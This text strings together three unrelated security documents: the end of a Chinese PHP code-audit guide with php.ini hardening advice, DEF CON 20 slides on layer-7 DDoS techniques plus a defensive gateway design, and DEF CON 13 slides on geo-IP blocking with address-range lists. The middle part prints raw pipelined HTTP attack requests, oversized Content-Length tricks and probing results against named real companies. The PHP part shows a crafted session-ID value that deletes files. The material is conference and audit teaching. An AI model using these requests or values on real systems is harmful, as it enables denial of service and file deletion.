4.2.2、PHP 4.2.1、PHP 4.2.0、PHP 4.2-dev、PHP 4.1.2、PHP 4.1.1、PHP 4.1.0、PHP 4.1、
PHP 4.0.7、PHP 4.0.6、PHP 4.0.5、PHP 4.0.4、PHP 4.0.3pl1、PHP 4.0.3、PHP 4.0.2、
PHP 4.0.1pl2、PHP 4.0.1pl1、PHP 4.0.1
2. session_destroy()删除文件漏洞
影响版本:不祥,需要具体测试
测试代码如下:
<?php
session_save_path(‘./’);
session_start();
if($_GET[‘del’]) {
session_unset();
session_destroy();
}else{
$_SESSION[‘do’]=1;
echo(session_id());
print_r($_SESSION);
}
?>
当我们提交 cookie:PHPSESSIONID=/../1.php,相当于删除了此文件
3. unset()-zend_hash_del_key_or_index 漏洞
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
zend_hash_del_key_or_index PHP4 小于 4.4.3 和 PHP5 小于 5.1.3,可能会导致
zend_hash_del 删除了错误的元素。当 PHP 的 unset()函数被调用时,它会阻止变量被 unset。
9.
信息泄露
1. phpinfo
如果攻击者可以浏览到程序中调用 phpinfo 显示的环境信息,会为进一步攻击提供便利
10. PHP 环境
1. open_basedir 设置
open_basedir 能限制应用程序能访问的目录,检查有没有对 open_basedir 进行设置,当
然有的通过 web 服务器来设置,例如:apache 的 php_admin_value,nginx+fcgi 通过 conf 来控
制 php 设置
2. allow_url_fopen 设置
如果 allow_url_fopen=ON,那么 php 可以读取远程文件进行操作,这个容易被攻击者利用
3. > allow_url_include 设置
如果 allow_url_include=ON,那么 php 可以包含远程文件,会导致严重漏洞
4. safe_mode_exec_dir 设置
这个选项能控制 php 可调用的外部命令的目录,如果 PHP 程序中有调用外部命令,那么指
定外部命令的目录,能控制程序的风险
5. magic_quote_gpc 设置
这个选项能转义提交给参数中的特殊字符,建议设置 magic_quote_gpc=ON
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
6. register_globals 设置
开启这个选项,将导致 php 对所有外部提交的变量注册为全局变量,后果相当严重
7. safe_mode 设置
safe_mode 是 PHP 的重要安全特性,建议开启
8. session_use_trans_sid 设置
如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID,这样一来,
攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。
9. display_errors 设置
如果启用此选项,PHP 将输出所有的错误或警告信息,攻击者能利用这些信息获取 web 根
路径等敏感信息
10.
expose_php 设置
如果启用 expose_php 选项,那么由 PHP 解释器生成的每个响应都会包含主机系统上
所安装的 PHP 版本。了解到远程服务器上运行的
PHP 版本后,攻击者就能针对系统枚举已
知的盗取手段,从而大大增加成功发动攻击的机会。
参考文档
https://www.fortify.com/vulncat/zh_CN/vulncat/index.html
http://secinn.appspot.com/pstzine/read?issue=3&articleid=6
http://riusksk.blogbus.com/logs/51538334.html
http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project | pdf |
DDoS Black and White
“Kungfu” Revealed
(DEF CON 20 Edition)
{Tony Miu (aka MT),
Anthony Lai (aka Darkfloyd),
Alan Chung (aka Avenir),
Kelvin Wong (aka Captain)}
Valkyrie-X Security Research Group
(VXRL)
Disclaimer
• There is no national secrets leaked here.
• Welcome to all national spies.
• No real attacks are launched.
• Please take it at your own risk. We can't
save you from the jail.
We don't talk about…
There is a real good
DDoS business in
China because it
creates attack
assignments and lots
of defense
opportunities in other
world.
Thank you so much,
China, Xie Xie!
We don't talk about ....
For example: http://www.1380sf.com/
Agenda
• Members introduction
• Research and Finding
– Part 1: Layer-7 DoS vulnerability analysis
and discovery.
– Part 2: Core Attack Concept and Empower
Attack Server with demos
– Part 3: Defense Model
Biography
Tony Miu (aka MT)
•Apart from a being a researcher at VXRL, MT currently
working at Nexusguard Limited. Throughout his tenure, MT
has been at the forefront of the cyber war zone -
responding to and mitigating myriads of cyber attacks that
comes in all forms and manners targeted at crushing their
clients' online presence.
•MT's task is clearly critical. It is therefore imperative that
MT be well versed in the light and dark sides of DDoS
attack methodologies and undertakes many leading role in
both DDoS kungfu and defense model projects.
Biography
Anthony Lai (aka Darkfloyd)
• Focuses on reverse engineering and malware
analysis as well as penetration testing. His interest
is always falling on CTF and analyzing targeted
attacks.
• Founder of VXRL.
• He has spoken in Black Hat USA 2010, DEF CON
18 and 19, AVTokyo 2011, Hack In Taiwan 2010 and
2011 and Codegate 2012.
• His most recent presentation at DEF CON was
about APT Secrets in Asia.
• His recent fun experience was winning 12,000 TWD
with PLUS CTF team in HITCON 2012
Biography
Alan Chung (aka Avenir)
• Avenir has more than 8 years working
experience on Network Security. He currently is
working as a Security Consultant for a
Professional Service provider.
• Alan specializes in Firewall, IDS/IPS, network
analysis, pen-test, etc. Alan’s research interests
are Honeypots, Computer Forensics,
Telecommunication etc.
Biography
Kelvin Wong (aka Captain)
• Works in law enforcement over 10 years
responsible for forensics examination and
investigation; research and analysis.
• Investigate various reported criminal cases
about DDoS and network intrusion.
• A real frontline officer fights against the
criminals and suspects.
Part 1: Layer-7 DoS vulnerability analysis and
discovery.
Research and Findings
Test Methodology
• We have used a few common Layer-7
DoS techniques in our test:
– HTTP GET and POST methods
– HTTP Pipelining
– Malformed HTTP request
– Manipulate TCP x HTTP vulnerabilities
Techniques Overview : Pre-Attack
• Find out any HTTP allowed methods
• Check whether a site accepts POST method as well
even it accepts GET method in the Web form
• Check out any resources-intensive function like
searching and any function related to database retrieval.
• Check out any HTTP response with large payload
returned from the request.
• Check out any links with large attachment including .doc
and .pdf files as well as media (.mp4/mp3 files) (i.e.
JPEG could be cached)
• Check whether HTTP response is cached or not
• Check whether chunked data in HTTP response packet
from the target is allowed. (i.e. incomplete request)
Techniques Overview :
Attack Techniques
Attack Combo #1:
• Seek and manipulate the TCP and HTTP
characteristics and vulnerabilities
• Find any URL(s) which accepts POST
-> Change Content Length to 9999 (i.e.
abnormal size) bytes
-> See whether it keeps the connection alive
(Attack Combo #1 Detailed explanation in Part 2)
Techniques Overview :
Post-Attack Techniques
Attack Combo #1:
We could guess and learn the behavior and
devices behind:
• Check the TCP established state timeout value
• Check the TCP first PSH/ACK timeout value
• Check the TCP continuous ACK timeout value
• Check the TCP first FIN_WAIT1 timeout value
• Check the TCP last ACK timeout value
Techniques Overview :
Post-Attack Techniques
Attack Combo #1 (Continue):
• Wait for FIN/ACK – Initiated by target’s server
• Wait for RST/ACK – Initiated by requestor,
target’s server or CDN
• Wait for RST – Initiated by device like IDS, IPS,
etc
Techniques Overview :
Post-Attack Techniques
Goals
• Calculation of resources could help to
bring down the target.
• Trace its detection (i.e. Rate Limit)
• Guess its DDoS mitigation(s)
• Submit an incomplete HTTP POST packet
attack to the back-end server.
Techniques Overview :
Attack Techniques
Attack Combo #2:
• Manipulate the vulnerabilities due to poor
server hardening.
• Accept a simple HTTP request (i.e. accept
simple HTTP request connection including
fields like HOST, Connection and ACCEPT
only)
Simple GET attack pattern in 4
years ago
• GET / HTTP/1.1\r\n
Host: www.xxx.com\r\n
User-Agent: Mozilla/4.0\r\n
Connection: keep-alive\r\n\r\n
• The site does not check cookie value, referer
value.
• It means there is NO HARDENING
• User-Agent value: Mozilla/4.0\r\n is a common
botnet used “label”, however, it still could be
accepted.
Techniques: Attack Techniques
Attack Combo #2:
• Whether it accepts HTTP pipelining
– It is a RFC standard but rare to use
GET / HTTP/1.1\r\nHost: www.xxxxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\nGET /?123
HTTP/1.1\r\nHost: www.xxxxxx.com\r\nUser-Agent: Mozilla/4.0\r\nConnection: keep-alive\r\n\r\n")
Techniques: Attack Techniques
Attack Combo #2:
- Utilize all HTTP requests (PSH/ACK) in the
same packet with size lower than 1500 bytes.
- HTTP request in packet could be multiplied by
7 times or more.
Techniques: Attack Techniques
Attack Combo #2:
• Finding large-size packet data payload like
picture and audio files, which could not be
cached and with authentication check (like
CAPTCHA) in advance.
• Goals:
– Increase loading of server and CPU and
memory usage
– Increase the bandwidth consumption
Techniques: Attack Techniques
Attack Combo #2:
• Force to get a new session and connection without
cache. It could “guarantee” bypass load balancer and
Proxy.
• Force not to load cache, for example:
• http://www.abc.com/submitform.asp?
234732893845DS4fjs9
• Cache:no cache and expiry date is 1994
Techniques: Attack Techniques
•
Attack Combo #2
•
Combined with Simple GET, HTTP Pipelining and Force not loading cache
GET /download/doc.pdf?121234234fgsefasdfl11 HTTP/1.1\r\n
Host: www.xxxxyyyyzzzz.com\r\n
User-Agent: Mozilla/4.0\r\n
Connection: keep-alive\r\n\r\n
GET /download/doc.pdf?121234234fgsefasdfl22 HTTP/1.1\r\n
Host: www.xxxxyyyyzzzz.com\r\n
User-Agent: Mozilla/4.0\r\n
Connection: keep-alive\r\n\r\n
GET /download/doc.pdf?121234234fgsefasdfl33 HTTP/1.1\r\n
Host: www.xxxxyyyyzzzz.com\r\n
User-Agent: Mozilla/4.0\r\n
Connection: keep-alive\r\n\r\n
We follow RFC all the time
Our Test Targets
•United State ( 39 )
•Europe (20)
•Asia Pacific (20)
7/11/12
It looks like we also test a CDN....
Test Summary
We only test their landing page only:
Accept simple GET: 26/39
Accept simple POST (without Content Length): 4/39
Method not allowed: 5/39
Accept simple POST (with Content Length):17/39;
Method not allowed: 8/39
Accept HTTP pipelining: 34/39
Simple GET – Accept Botnet-
favorite GET header?!
7/11/12
Simple GET with Pipelining
7/11/12
Simple GET with Pipelining
7/11/12
Simple POST
7/11/12
Simple POST
7/11/12
Network Giant: I am shit corps?!
(Nothing doing with DoS )
7/11/12
Summary
1.Simple GET should be banned;
2.We don't think they should accept content length with
invalid value, check length is required;
3. Page does not support POST could accept POST request;
Page is supposed not to accept any method(s) it does not
support;
4. A few corps still disclosed its supporting method. As attack
method is not just limited to GET and POST. Did they carry
out any basic assessment?
It looks nothing special yet but they are prerequisites for
our further test and part 2
Further ...
Content Length is 999 or 9999 Accepted:
Amazon
American airline
CNN
GS
Mastercard (Let us dive into this case)
McDonalds
......
Deep Analysis: Mastercard.us
Simple GET - Lazy to fill in the HTTP
Field, please help, Akamai
Notice: Plz don’t test on “GET HTTP/1.1” or
database related application, it will reply too
many things
Dear Customer,
For the improvement of our service, there are NO
CAPTCHA and auth, you can download PDF, SWF, ZIP
freely.
SIMPLE POST is not allowed
We have advance POST method, it will hold
TCP established state ~2mins.
I hate cookies, I hate POST data
Is Akamai bypassed?
Defense point of view
•
Loadbalancer/proxy will forward the
incomplete HTTP request
•
If something dropped the incomplete
request:
•
Case 1: Security device interrupt the incoming traffic
and RST send to Server.
•
Case2: Security send the RST or RST ACK to Client.
7/11/12
We never know there is POST
method in DoD
We never know the Advanced Search in HKEX
using POST method and heavy loading(Hong
Kong Trading Halted by DDoS)
Suggested Attack Pattern
• No chance to use it, simple GET / POST
is always working.
GET /?xxxxxxxxxx HTTP/1.1\r\n
Host: www.ddd.ccc\r\n
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: User-Agent: Mozilla/4.0 (Windows; U; Windows NT 5.1; en-GB;
rv:1.9.2.20) \r\n
Connection: Keep-Alive\r\n\r\n
7/11/12
Part 2: Core Attack Concept and Empower an Attack
Server (with demos)
Before taking Appetizer, let us
do the demo
Let us give three demos:
Attack Server: Backtrack 5, 512M Ram, 2 CPU (VM)
Web Server(victim): Windows server 2008 R2, IIS 7.5 with a text
web page, 2G RAM, no application and database, hardware PC.
1.Attack target server and stuck TCP state CLOSE_WAIT
2.Attack target server and stuck TCP state FIN_WAIT1
3.Attack target server and stuck TCP state Established
7/11/12
Attack Goals
Demo 1: Cause server unstable
Demo 2: Cause the unavailability of service
in a minute
Demo 3: Cause the unavailability of service
instantly
7/11/12
Demo time – Server Side
1 bytes = 8 bit, we use bit per
second(bps) in networking. windows
use byte per second!!!
Incoming attack traffic
Demo1: ~2.7mx8 = 21 mbps
Demo2: ~1.3mx8=10.4mbps
Demo3: ~1mx8=8mbps
7/11/12
What are the theories and ideas
behind Demos 1-3?
7/11/12
Core Attack Concept
•
Don’t focus on HTTP method. This server is not
killed by HTTP related vulnerability.
Otherwise,
•
HTTP GET flood - unstable and high CPU
•
HTTP POST flood - unstable and high CPU
•
HTTP HEAD flood - unstable and high CPU
•
HTTP XXX flood - xxxx and high xxxx only
•
Demo 1 attack also unstable and high CPU only
We are not DoS attack to OS and
Programming Language
•
This attack is against to a kind of OS and
programming language. e.g. Apache killer, etc.
•
Our Attack FOCUS is on Protocol – TCP and
HTTP, we are going to do a TCPxHTTP killer.
•
Any server not using TCP and HTTP?
We do not present IIS killer, Apache killer, Xxx
killer!!!
TCP state is the key
• Focus on TCP state.
• Use the HTTP as an example to control the TCP state.
• Manipulate the TCP and HTTP characteristics and
vulnerabilities
• Server will reserve resource for different TCP states.
• The Same Layer 7 Flood to Different targets can
different TCP state.
• TCP state attack is decided upon various cases,
depends on web application, OS and HTTP Method.
• The key is based on reply of server. E.g. Fin-Ack, RST,
RST-Ack, HTTP 200, HTTP 302…etc.
Logical Diagram
Super combo Period =TCP State
7/11/12
Health = Server
resourcePoint
Hits = TCP
Connection
Kyo = Attack server
Super combo
= HTTP
Request
Power=
High
CPU
Andy
in fire
= Web
server
Keep Super Combo to Andy
•We wish to extent the super combo period!!!
•We will discuss the 3 different TCP states.
•Targeted TCP state:
• Demo 1: TCP CLOSE_WAIT
• Demo 2: TCP FIN_WAIT_1
• Demo 3: TCP ESTABLISHED
P.S. In King Of Fight 2003, it is bug.
Demo 1. TCP STAT CLOSE_WAIT
From RFC:
“CLOSE-WAIT - represents waiting for a connection termination
request from the local user.”
•
Demo 1 is simulating the most common DDoS attack.
•
Web server are only with high CPU usage and in unstable status
•
SLA for Attacker, you are failed and no money!!!!
•
Hardened Web server = Loadbalancer.
•
If we use more zombies, it still working. But zombies = money……
Demo 1. TCP STAT CLOSE_WAIT
Just like a light punch, easy to defense~
Fix:
•Harden Server TCP parameters
•Most of network security devices can set the timeout (e.g.
Proxy, firewall, DDoS mitigation device)
Demo 1. TCP STAT CLOSE_WAIT
Demo time: Client-end (Dummy
edition)
7/11/12
Demo 1 – The Key for goal
• Client MUST send FIN_ACK in advance
but server
• No need to do anything…….
7/11/12
Demo 2. TCP FIN_WAIT_1
Demo 2. TCP FIN_WAIT_1
From RFC:
“FIN-WAIT-1 STATE
In addition to the processing for the ESTABLISHED state, if our FIN is now acknowledged then
enter FIN-WAIT-2 and continue processing in that state.
FIN-WAIT-2 STATE
In addition to the processing for the ESTABLISHED state, if the retransmission queue is empty,
the user's CLOSE can be acknowledged ("ok") but do not delete the TCB.
CLOSE-WAIT STATE
Do the same processing as for the ESTABLISHED state.
CLOSING STATE
In addition to the processing for the ESTABLISHED state, if the ACK acknowledges our FIN then
enter the TIME-WAIT state, otherwise ignore the segment.
LAST-ACK STATE
The only thing that can arrive in this state is an acknowledgment of our FIN. If our FIN is now
acknowledged, delete the TCB, enter the CLOSED state, and return.
TIME-WAIT STATE
The only thing that can arrive in this state is a retransmission of the remote FIN. Acknowledge it,
and restart the 2 MSL timeout.”
Demo 2. TCP FIN_WAIT_1
•Depends on OS, time out around 60s and hard to fine tune in Server.
•RFC: “Client can still receive data from the server but will no longer accept
data from its local application to be sent to the server.”
•Server will allocate resource to handle web service
•Web application will keep holding the resource and memory overflow during
the attack
Demo time: Client-end (Home
Make Edition)
7/11/12
Demo 2 - The key for our goal
• Check the TCP first FIN_WAIT1 timeout
value
• Wait for RST/ACK – Initiated by
requestor, target’s server or CDN
7/11/12
Demo 2 – Wait for the FIN, PSH, ACK
from Server
7/11/12
Remember the video?
For IIS case, “connection: close” included. FIN will send
and be changed to FIN_WAIT_1 state
7/11/12
Demo 3. TCP Established
Demo 3. TCP Established
•RFC: ” represents an open connection, data received can be delivered to the
user. The normal state for the data transfer phase of the connection.”
•TCP Established, it is an active connection.
•Server will allocate a lot resource to handle web service and web application.
•The time out of TCP Established state is very long. (around 3600s)
•The time out of TCP Established state can’t be too short.
•Compare all of the other TCP state, this case will use most of resource in the
server.
Demo 3. TCP Established
•
Base on the design of HTTP method, we can force the server to use
more resources.
•
Fragmented and incomplete packet continuously
•
In this example:
-
HTTP POST Method + “Content-length: 99999”
•
HTTP GET Method with packet size over 1500 without
“\r\n\r\n”, are same result.
•
It is an incomplete HTTP request
•
Timeout depends on application and server, may be 30s, 5mins,
10mins or more.
•
Incomplete HTTP request can bypass the Network Security devices.
Demo 3. Vs Slowloris
Slowloris:
Slowloris is extent the TCP Established State in ONE connections. Just
like we try to dig a hole(HTTP request) on the ground(Server resource)
and fill in the water(packets) slowly.
Our Demo 3:
Our Demo 3, it is find out the max size of hole, and dig many of holes .
The size is random.
Demo time: Client-end (Monkey
Play Level)
7/11/12
Demo 3 - The Key for goal
•
Check the TCP establishment timeout value (when we
send PA)
•
Check the TCP continuous ACK timeout value (after PA)
•
Wait for FIN/ACK – Initiated by target’s server
7/11/12
Demo 3 – TCP Establishment
timeout
•
Let us send the first PUSH ACK to server together
before the timeout?
•
Good luck, firewall, router, IPS, WAF,etc.
7/11/12
Demo 3 – TCP continuous ACK
timeout value-1
•
After client sent the first Push ACK in TCP established
state, client do nothing. It is the timeout for server in
TCP established state. For this demo, RST ACK is sent
•
Brother A’s timeout is 2mins
7/11/12
Demo 3 – TCP continuous ACK
timeout value-2
•
The timeout for Server to keep the TCP established
state. (slowloris doing it)
7/11/12
Standard 2 mins time out
7/11/12
Forgotten
• It is FAKE ip address(Trust me, it can fake
3 way handshake)
• HKEX already spend XXX million dollar to
rebuild the DDoS solution and fix the
problem.
• I am sorry, it’s my fault, i forgot to fill in
Cookies, referer, correct POST
data……
• Internationlow(international low) Security
Standard over the World….
7/11/12
Attack Conclusion
For Demos 1-3
•
Signature-based detection cannot be useful to detect our
attack as the HTTP fields could be randomized.
•
Our attack is customized for each target individually.
•
For example, the content length is decided based on
the Web application
•
test the boundary values of rate limit of any security
and detection devices.
•
Confuse the security detection device with “look-like” real
HTTP request.
Any others Demo?
Demo 4 empower a Attack server
Demo 5 Online game
Demo 6 Trading application
Demo 7 HTTPS
Demo 8 Android Play shop
Demo 9 ……
But we only 50mins, XD
7/11/12
PoC of Case study
• Demo 1-3 are PoC for the analysis result
and impact in Part 1.
7/11/12
We have a great weapon and need a
best solider
7/11/12
Before taking empower Attack
Server ...
Let us give another demo:
Attack Server: Backtrack 5, 512M Ram, 2 CPU (VM)
Web Server: Windows server 2008 R2, IIS 7.5 with a text web
page, 2G RAM, no application and database, hardware PC.
7/11/12
Attack Goal
Empower a client “without” established any
connection and intensive use of memory
and CPU.”
Server will hold the TCP established
connection
7/11/12
Demo
• We launched the attack with our designed
Attack Server (in demo 4) with stuck TCP
Establish state (in demo 3) technique
7/11/12
Demo time Server-end
7/11/12
Design Overview
•
Current DDoS mitigation method violates RFC
standard.
•
Our Attack Server also adopt DDoS mitigation methods
into the design
•
Our Attack Server’s protocol design “looks like” fulfilling
a RFC standard. We simply adopt the DDoS mitigation
method and design into our Attack Server.
•
This solider design is for our Demo 3 attack technique.
7/11/12
Our Attack Server’s Design
7/11/12
Demo time Client-end
7/11/12
1. Show Attack Server’s
Resources Status
7/11/12
2. Generating an attack
7/11/12
3. Show the target’s server status
7/11/12
4. Show attack server status
AFTER attack
7/11/12
Attack Server Features
• Our designed Attack Server could launch
attack against multiple targets
• All available layer-7 attack methods (e.g.
XXX flood) could fuck up the target.
• Most of the victims stuck in TCP
established state.
7/11/12
Design and power-up your Attack
Server
It could have many different types of solider.
E.g. Attack Server + Syncookie, syncache,
share database with HTTP request……
7/11/12
Summary
Could you imagine the consequence and
impact if we link up studies in Part 1 and
Part 2 together against our targets?
7/11/12
Part 3: Defense Model
Existing DDoS mitigation
countermeasure
• TCP Layer Authentication
• HTTP Layer Authentication (redirect,
URL)
• HTTP Layer interrupt (Captcha)
• Signature base application detection
• Rate limit
7/11/12
I have a Dream~
7/11/12
Apache Gateway with
Loadbalancers group
Custom Filter
by script
All zombie
suicide
User no need to
use captcha like
auth
Design Overview – Application
Gateway (AG)
• Develop the apache module for defense
Layer 7 DDoS.
•
Apache Web Service
•
Hardened Apache Server
•
Authentication code module
•
Control Policy module
•
Routing and Forwarding
Engine
•
GUI Control Panel
•
Rewrite the TCP protocol in Linux Kernel Module
7/11/12
7/11/12
BY Tony Miu
7/11/12
BY Tony Miu
POST / GET Flood to AG
(First handshake phase)
Attack example : GET / HTTP/1.1 or GET /
<some-url, but not our page> / 1.1
•If the Attack cannot be redirect
•
Check the HTTP field, and will drop the non standard
HTTP request.
•
Close the connection, and afterwards, attack
suspended.
•
(Most of the Zombie cannot handle the redirect)
7/11/12
POST / GET Flood to AG
(First handshake phase) (cont.)
• If the Attack can be redirect
•
Response action
•
Redirect the Get Flood (Redirect 301) to phase 2, with new
session
•
Close the existing connection in AG
7/11/12
POST / GET Flood to AG
(Second handshake phase)
• User send the GET request with HTTP
field Referrer.
•
With Referrer (Allow Traffic):
•
Assign a checkable value and referrer value to the user’s
web browser
•
Optional : Require the client side running the formula
with JavaScript, and the result will be used in phase 3.
(use for increase the client side CPU usage.)
•
Redirect the request to phase 3 with new session
•
Close the current connection in AG
7/11/12
•
Without Referrer (Attack) (Drop Traffic) :
•
Close the connection
•
For HTTP POST request, it will be dropped instantly.
7/11/12
POST / GET Flood to AG
(Second handshake phase) (cont)
POST / GET Flood to AG
(Third handshake phase)
• User send the GET request to the
checking page with the checkable value
received in Phase 2.
•
Incomplete HTTP request will be dropped.
•
Set the passed traffic in the white list.
•
Set the connection limit per IP address
•
(eg. Block the IP address, over 10 request per minute.)
•
Set the limit per request, per URL
•
Set the time limit value.
•
Set the time out value.
7/11/12
Deploying mode
• Host mode
•
E.g. Develop a module in Apache
• Transparent mode
•
Easy to deploy; In front of Web server.
• Reverse proxy mode
•
Easy to deploy
• Load balancer mode
•
Same as proxy, but it cannot handle a high volume
bandwidth attack.
7/11/12
Best deployment location
• Before the firewall, behind the router
•
Analyzing and filtering over the high volume traffic happens in
the first place so as to prevent the high volume DoS attack.
• Behind the firewall (with content forward)
i.
The firewall redirects the http traffic to the apache gateway.
(eg. Check Point CVP or Juniper UTM Redirect Web Filtering)
ii. After the HTTP traffic analysis, the clean traffic will be sent
back to the firewall.
iii.
The firewall will continue process the traffic by rule
7/11/12
Best deployment location (cont’)
• Behind the firewall (route mode, proxy mode)
i.
After the traffic analysis by the firewall, the traffic will pass to
the apache gateway
ii.
After the analysis, the clean traffic will route to the web
server
• Install & integrate with the web server
i.
The traffic input to the Apache gateway (filtering module)
ii.
After the Apache gateway (filtering module) analysis
complete
iii. The (filtering module) will pass the traffic to the web page
module (or other web server program.)
7/11/12
Best deployment location (cont’)
• Integrated with the load balancer
i.
The http traffic will input to the Apache Gateway
ii. The Apache will process & analysis the HTTP
traffic
iii. The clean traffic will transfer to the load balancer
iv. The load balancer will load sharing the
traffic to
the Web Server farm
7/11/12
Roadmap
Phase 1:
Integrate the IDS/IPS, Firewall
and
black hole system with the
Layer-7 Anti-DDoS Gateway.
Phase 2:
Develop the API for custom
script
Phase 3: Develop a Blacklist on IP
addresses grouped by time and IP
address Blacklist system and
Generation mechanism.
7/11/12
Thank you very much
for your listening, Xie Xie
Tony: mt[at]vxrl[dot]org
Alan: avenir[at]vxrl[dot]org
Anthony: darkfloyd[at]vxrl[dot]org
Kelvin: captain[at]vxrl[dot]org
Website: www.vxrl.org | pdf |
Geo
Geo--IP Blocking: A sometimes
IP Blocking: A sometimes
effective Mal
effective Mal--ware deterrent
ware deterrent
DEFCON 13
Presentation
July 30, 2005
Agenda
Agenda
What is Geo-IP Blocking?
Why Geo-IP Block?
Why not to Geo-IP Block
How Geo-IP Blocking works
Regional Internet Registries (RIRs)
Different Geo-IP Blocking strategies
Automation
Caveats
Presenter AKA Shameless
Presenter AKA Shameless
Personal Plug
Personal Plug
Tony Howlett
President of Network Security Services, Inc.
CISSP, GSNA, CNA, CSSA
Author of “Open Source Security Tools”
17 years of experience building and
managing networks
What is Geo
What is Geo--IP Blocking?
IP Blocking?
Indiscriminately blocking entire sections of
IP addresses related to geographical areas at
your firewall or router
Spam Statistics
Spam Statistics
A recent study show that the following countries were the
leaders in originating spam
USA
42%
South Korea
13%
China
8%
Blocking those two countries alone would take care of 21% of
your spam
Source: SpamHaus 2005
Why Geo
Why Geo--IP Block?
IP Block?
Quick (within minutes)
No Cost (just entries in a router)
Avoids almost ALL types of attacks including zero day
and unreported exploits (at least those originating from
the blocked countries)
Easily reversible
Users can still access blocked sites outbound
Most companies don’t need to give the ENTIRE world
access to their network.
Even Fortune 500 companies can use this for some
parts of their network.
More Reasons to Geo
More Reasons to Geo--IP Block
IP Block
– May become more effective over time as more
spam / malware moves offshore
– May force “bad actor” countries to crack down
on spam / malware
– China recently announced a crackdown on
spam partially due to pressure form ISPs
blocking their IP space
Types of
Types of malware
malware Geo
Geo--IP can
IP can
stop
stop
– Spam
– Email Fraud
– Phishing
– Viruses
– Worms
– Automated hacking
tools
– Manual hacking (script
kiddies)
– Prohibited website
hosted offshore (porn,
gambling, etc)
Reasons NOT to Geo
Reasons NOT to Geo--IP block
IP block
– Not 100% effective (what is?)
– Goes against the idea of global access to the
Internet
– Large multinational corporation (may still work
in some limited instances)
– Doing business overseas (may still work for
some areas)
– Will block all emails form that part of the world
(unless you except mail traffic from your rules)
How Geo
How Geo--IP Blocking Works
IP Blocking Works
– IANA assigns address blocks out to the
Regional Internet Registries (RIRs) for
local assignment
– American Registry for Internet Numbers
(ARIN) handles North America
Other
Other RIRs
RIRs
APNIC (Asia)
RIPE (Europe, Middle East and Central Asia)
LACNIC (Latin America)
AfriNIC (new RIR for Africa)
APNIC (Asia)
APNIC (Asia)
Asia Pacific Network Information Centre
Takes in many of the bad actor counties (the
#2 and #3 spammers in our example)
Just blocking APNIC could lower your
malware hits by 20-30%
Be careful; also cover Japan where a lot of
westerners do business
APNIC
APNIC IPs
IPs to block*
to block*
210.0.0.0/8
218.0.0.0/8
220.0.0.0/8
222.0.0.0/8
58.0.0.0/8
61.0.0.0/8
124.0.0.0/8
126.0.0.0/8
168.208.0.0/16
196.192.0.0/16
202.0.0.0/8
*List not guaranteed to be complete or accurate, caveat emptor
China Only (with APNIC and
China Only (with APNIC and
ARIN IP space)*
ARIN IP space)*
*List not guaranteed to be complete or accurate, caveat emptor
203.222.192.0 - 203.222.207.255
203.223.0.0 - 203.223.15.255
203.81.16.0 - 203.81.31.255
203.87.224.0 - 203.88.3.255
203.89.0.0 - 203.89.3.255
203.90.0.0 - 203.90.3.255
203.91.0.0 - 203.91.3.255
203.92.0.0 - 203.92.3.255
203.93.0.0 - 203.94.31.255
203.95.0.0 - 203.95.7.255
210.12.0.0 - 210.13.255.255
210.14.160.0 - 210.15.191.255
210.192.96.0 - 210.192.127.255
210.21.0.0 - 210.22.255.255
210.211.0.0 - 210.211.15.255
210.25.0.0 - 210.47.255.255
210.5.0.0 - 210.5.31.255
210.5.128.0 - 210.5.143.255
210.51.0.0 - 210.53.255.255
210.72.0.0 - 210.78.255.255
210.79.224.0 - 210.79.255.255
210.82.0.0 - 210.83.255.255
211.136.0.0 - 211.167.255.255
211.64.0.0 - 211.71.255.255
211.80.0.0 - 211.103.255.255
159.226.0.0 - 159.226.255.255
161.207.0.0 - 161.207.255.255
162.105.0.0 - 162.105.255.255
166.111.0.0 - 166.111.255.255
167.139.0.0 - 167.139.255.255
168.160.0.0 - 168.160.255.255
192.124.154.0 - 192.124.154.255
192.188.170.0 - 192.188.170.255
192.83.122.0 - 192.83.122.255
198.17.7.0 - 198.17.7.255
198.97.132.0 - 198.97.132.255
202.0.110.0 - 202.0.110.255
202.0.160.0 - 202.0.179.255
202.122.128.0 - 202.122.128.255
202.127.0.0 - 202.127.63.255
202.127.128.0 - 202.127.255.255
202.130.0.0 - 202.130.31.255
202.130.224.0 - 202.130.255.255
202.131.208.0 - 202.131.223.255
202.136.252.0 - 202.136.255.255
202.14.235.0 - 202.14.238.255
202.14.88.0 - 202.14.88.255
202.192.0.0 - 202.207.255.255
202.20.120.0 - 202.20.120.255
202.22.248.0 - 202.22.255.255
202.38.0.0 - 202.38.15.255
202.38.140.0 - 202.38.156.255
202.38.158.0 - 202.38.161.255
202.38.164.0 - 202.38.176.255
202.38.184.0 - 202.38.255.255
202.38.32.0 - 202.38.47.255
202.38.64.0 - 202.38.138.255
